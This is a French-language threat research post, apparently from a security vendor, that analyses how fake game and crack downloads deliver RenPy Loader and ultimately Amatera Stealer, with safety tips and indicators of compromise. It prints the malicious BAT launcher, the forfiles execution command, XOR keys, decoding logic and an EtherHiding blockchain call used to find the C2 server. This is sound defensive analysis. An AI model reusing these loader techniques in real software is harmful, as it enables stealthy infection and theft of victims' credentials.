Nous avons détecté plusieurs campagnes utilisant de faux téléchargements de jeux, de mods, de cracks et de logiciels pour diffuser RenPy Loader . Une fois installé, ce programme d'infection déclenche une chaîne complexe en plusieurs étapes qui exploite MSBuild et la technique EtherHiding avant de finalement installer Amatera Stealer .
Amatera est un voleur d'informations, un type de logiciel malveillant conçu pour dérober des données sensibles sur un appareil infecté. Il peut cibler les mots de passe et autres données stockées dans les navigateurs, les portefeuilles de cryptomonnaies, les extensions de navigateur, les applications de messagerie et les fichiers locaux. Les identifiants et données de session volés peuvent également permettre aux attaquants d'accéder aux comptes en ligne de la victime.
La victime peut voir ce qui semble être un jeu ou un programme d'installation de logiciel normal, tandis que le logiciel malveillant s'exécute silencieusement en arrière-plan.
RenPy Loader, également connu sous le nom de RenEngine Loader, est particulièrement préoccupant car il exploite Ren'Py, un moteur légitime utilisé pour créer des romans visuels, des jeux narratifs et des fictions interactives. En dissimulant du code malveillant dans des logiciels associés aux jeux vidéo, les attaquants peuvent rendre leurs téléchargements plus crédibles aux yeux des personnes recherchant des jeux, des mods ou des logiciels piratés.
Nous avons déjà constaté que des attaquants détournaient des outils de développement légitimes et des frameworks logiciels émergents, tels que Bun et Deno , pour diffuser des logiciels malveillants. RenPy Loader suit le même schéma : les attaquants exploitent des technologies légitimes pour dissimuler des activités malveillantes, complexifier la chaîne d’infection et rendre la détection plus difficile.
Il a également été observé que RenPy Loader distribuait d'autres logiciels malveillants, notamment HijackLoader et Lumma Stealer, ce qui montre que la charge utile finale peut varier d'une campagne à l'autre.
Dans cet article, nous analysons une chaîne d'infection où Ren'Py déchiffre une archive ZIP contenant un fichier BAT et plusieurs fichiers de projet MSBuild. Ces fichiers chargent un composant .NET infecté par un cheval de Troie, qui décode ensuite un autre composant malveillant.
Ce composant malveillant utilise une technique appelée EtherHiding pour localiser son serveur de commande et de contrôle (C2). Au lieu de stocker l'adresse du C2 directement dans le logiciel malveillant, les attaquants la dissimulent dans des données stockées sur une blockchain publique. Le logiciel malveillant télécharge ensuite les étapes suivantes de l'attaque depuis ce serveur, ce qui rend l'infrastructure des attaquants plus difficile à identifier et à neutraliser.
Enfin, nous examinons les charges utiles supplémentaires qui permettent finalement de déchiffrer et d'exécuter Amatera Stealer.
Les faux téléchargements infectent votre appareil
L'infection débute lorsqu'une personne télécharge un jeu, un mod, un crack ou un logiciel malveillant. Nous avons trouvé des fichiers malveillants distribués via :
- Sites Web malveillants
- portails de téléchargement de jeux
- Plusieurs services de partage de fichiers, dont Wormhole, GoFile, Google Drive et MEGA
Voici quelques-unes des pages détectées qui initient la chaîne d'infection :
Dans plusieurs cas, cliquer sur un lien de téléchargement redirigeait l'utilisateur vers un autre site web frauduleux. Ces pages utilisaient des designs différents et des noms de services fictifs, ce qui permettait de rendre les campagnes moins répétitives et de masquer l'infrastructure malveillante.
Vous trouverez ci-dessous des exemples de fausses pages de téléchargement utilisées pour distribuer l'archive malveillante :
L'utilisateur télécharge une archive contenant un fichier nommé Setup.exeL'ouverture de ce fichier déclenche la chaîne d'infection.


La victime voit un écran de chargement ou d'installation, mais un code malveillant s'exécute en arrière-plan.

Comment rester en sécurité
Quelques précautions peuvent réduire le risque de télécharger des jeux ou des logiciels malveillants :
- Téléchargez les jeux et les logiciels depuis les sites web officiels, les boutiques d'applications de confiance ou les plateformes de distribution établies.
- Utilisez avec prudence les logiciels piratés, les mods non officiels et les versions gratuites de jeux payants.
- Soyez prudent lorsqu'un lien de téléchargement vous redirige vers plusieurs sites web ou services de partage de fichiers inconnus.
- Vérifiez le contenu des archives téléchargées avant d'ouvrir des fichiers exécutables tels que :
Setup.exe. - Recherchez les noms de fichiers inhabituels, les images ou fichiers texte sans rapport avec le contenu initial, et tout contenu qui ne correspond pas à ce que vous aviez l'intention de télécharger.
- Utilisez un logiciel anti-malware en temps réel tel que Malwarebytes .
- Maintenez à jour votre système d'exploitation, votre navigateur et vos logiciels de sécurité.
Les personnes à l'origine de ces campagnes créent sans cesse de nouveaux sites web et modifient leurs pages de téléchargement. Un programme d'installation d'apparence professionnelle ou un service de partage de fichiers connu ne garantissent pas la sécurité d'un téléchargement.
Analyse technique du chargeur RenPy
Ren'Py est un moteur libre et gratuit permettant de créer des romans visuels, des jeux narratifs et des fictions interactives. Ren'Py autorise l'intégration de scripts Python, une faille exploitée par les attaquants pour insérer du code malveillant.
Dans ce cas précis, nous avons trouvé du code malveillant dans les fichiers et chemins suivants :
|
Chemin |
Description |
|---|---|
|
|
Classes anti-bac à sable |
|
|
Chargeur |
|
|
Configuration chiffrée par XOR |
|
|
ZIP chiffré XOR |
Le chargeur de première étape extrait de libwin32.rpa effectue les opérations suivantes :
- Lit la configuration
data/.GEget le déchiffre en utilisant le décodage Base64 et l'opération XOR avec la clé81034149cd6f48c8821340204f92766eCe fichier de configuration contient le mot de passe utilisé pour extraire le fichier ZIP, ainsi que d'autres données de configuration utilisées par le chargeur. - Appels
sys_config.is_sandboxed()et se ferme si un environnement sandbox est détecté. - Décryptage XOR
data/j3lpTcg7kBRN.E3en utilisant la cléA50YyY1pour obtenir le code ZIP. - Extrait le contenu du fichier ZIP dans un dossier aléatoire sous
%TEMP%/tmp-{5 digits}-{12 characters}et écrit un:Zone.Identifierflux de données alternatif (ADS) avecZoneId=0pour supprimer la marque du Web et contourner SmartScreen. Il insère également un élément aléatoireREMchaîne de caractères dans le fichier BAT extrait. - Lance la charge utile en utilisant
forfiles.exe. - Envoie le MAC adresse et identifiant de campagne à un site web de suivi.


Dans ce cas, le fichier BAT extrait a été exécuté à l'aide de la commande suivante :
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
Contenu du fichier BAT :
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
Le fichier BAT exécuté effectue les opérations suivantes :
- Se relance dans une console sans interface graphique lorsque cela est pris en charge :
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- Active les fonctions de propriété MSBuild, permettant des méthodes supplémentaires telles que
AppDomain.CurrentDomain.Loadà exécuter :
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
- Exécute
MSBuild.exeavecNancy.csprojcomme fichier de projet. Lors de l'évaluation du projet, une fonction de propriété MSBuild malveillante décode en hexadécimal et charge par réflexion l'étape DLL suivante.
La DLL Nancy infectée par un cheval de Troie et le bytecode personnalisé
Nancy.csproj importe les trois fichiers extraits Nancy.csproj.user, Internal.props, et Nancy.Compile.targetsLa DLL malveillante est répartie sur trois valeurs stockées dans ces fichiers.

Nancy.csprojNancy.Compile.targets concatène les trois valeurs pour décoder la DLL en hexadécimal et exécuter le code. DefaultEvaluator5 méthode utilisant AppDomain.CurrentDomain.Load.CreateInstance.

DefaultEvaluator5Le plus intéressant, c'est que Nancy.csproj Il remplit deux fonctions : il s’agit du projet MSBuild utilisé pour exécuter le chargeur de première étape, et il contient également l’étape suivante décodée par le chargeur.
La DLL est une version trojanisée de la bibliothèque Nancy .NET et un chargeur .NET obfusqué contenant du code malveillant. DefaultEvaluator5 Certaines fonctionnalités de la DLL sont implémentées dans un bytecode personnalisé exécuté par cette méthode principale.

La DLL effectue les opérations suivantes :
- Déchiffre les chaînes de caractères à partir de ressources en utilisant le déchiffrement XOR multi-clés.
- Résout les API en utilisant le hachage d'API et
GetDelegateForFunctionPointer. - Modifie les paramètres réseau, notamment en désactivant la validation du certificat TLS et en définissant le proxy système par défaut.
- Effectue des opérations anti-criminalité.
- Lit le
_czzfvariable d'environnement, qui pointe vers la précédenteNancy.csprojLe fichier est ensuite décodé et exécuté.
Le principal DefaultEvaluator5 Cette méthode récupère les chaînes de caractères et interprète le bytecode contenu dans les ressources suivantes :
Nancy.Runtime.mvlorimuContient le bytecode personnalisé. Le bytecode est interprété par_pvet_sroIl implémente 23 opcodes utilisés pour décrypter d'autres chaînes et charger la DLL de l'étape suivante.Nancy.Data.tcnlhxwetNancy.Resources.kxxodp: Contient les chaînes chiffrées et autres données utilisées pour le déchiffrement, y compris les clés, les longueurs, les index et la boîte S.
Les chaînes de caractères sont déchiffrées à l'aide de l'algorithme suivant :
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
La prochaine étape DLL, GollopDevest, est décodé à partir du même Nancy.csproj fichier utilisant la logique suivante et chargé avec AppDomain.Load:
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

Pack marqueursEtherHiding et le voleur d'Amatera
L'étape suivante extraite est une DLL appelée GollopDevest.dll, un téléchargeur .NET qui utilise la technique EtherHiding pour obtenir son serveur de commande et de contrôle (C2) et télécharger l'étape suivante.
Le domaine C2 chiffré est obtenu à l'aide d'un JSON-RPC Ethereum. eth_call demande à bsc-dataseed.binance.org:
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
Ce programme de téléchargement EtherHiding fait probablement partie d'une opération de malware-as-a-service (MaaS), car nous l'avons détecté distribué dans d'autres campagnes, y compris des campagnes ClickFix.
Trois charges utiles supplémentaires sont ensuite téléchargées : deux DLL .NET appelées PavinWide (une DLL anti-analyse) et GollopDevest (une DLL de chargement), et un PE C++ appelé WPA.exe, qui est une version obfusquée d’Amatera Stealer.
Dans ce cas, ces charges utiles ont été téléchargées depuis :
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
Les DLL .NET sont fortement obfusquées à l'aide de l'aplatissement du flux de contrôle et d'appels indirects via calli/ldftn, chaîne chiffrement avec plusieurs algorithmes, du code inutile, du code mort et de fausses chaînes de caractères telles que des chemins d'URL.
L'analyse de ces DLL est toujours en cours et sera explorée plus en détail dans les prochains articles de blog.
Indicateurs de compromission (IOC)
Domaines
downpro[.]net– Faux site de téléchargementmacisofile[.]sbs– Faux site de téléchargementvisitmama[.]blog– Faux site de téléchargementvisitmama[.]guru– Faux site de téléchargementgetgamerfree[.]com– Faux site de téléchargementfullgames[.]digital– Faux site de téléchargementflingbase[.]net– Faux site de téléchargementcitronemu[.]com– Faux site de téléchargementfilemodo[.]xyz– Infrastructure de distributionstorage06x[.]cfd– Infrastructure de distributionp03sil[.]cyou– Infrastructure de distributionwimsedas[.]xyz– Infrastructure de distributionagainstmor[.]store– Infrastructure de distributionhost03q[.]cfd– Infrastructure de distributioncloud01y[.]cfd– Infrastructure de distributionstorage11x[.]cfd– Infrastructure de distributionstorage04x[.]cfd– Infrastructure de distributionhost82p[.]cfd– Infrastructure de distributioncloud05y[.]cfd– Infrastructure de distributionanalyticstrack-pzh[.]click- Localisation du site Weblogin.orbitalframework[.]cc– Amatera Stealer C2
adresses IP
144.124.251[.]171– Utilisé pour obtenir des charges utiles supplémentaires195.63.140[.]33– Utilisé pour obtenir des charges utiles supplémentaires78.40.196[.]252– Utilisé pour obtenir des charges utiles supplémentaires
Hachages de fichiers (MD5)
29203ca123d51b1b33505a0813d360df– Chargeur de première étape (DLL infectée par un cheval de Troie)810F257542018BE0FC62AF542D13D012– GollopDevest DLL (DLL de téléchargement)681DB529E402467A4B0567C82A350FC0– PavinWride DLL (DLL anti-analyse)2E116632248A7E1F8AA6BCA92D9C1C90– GollopDevest DLL (DLL de chargement)F8453EFE408CE25B9484F872797E3D63– Charge utile finale
« L’une des meilleures suites de cybersécurité au monde. »
Selon CNET. Lire leur article →






















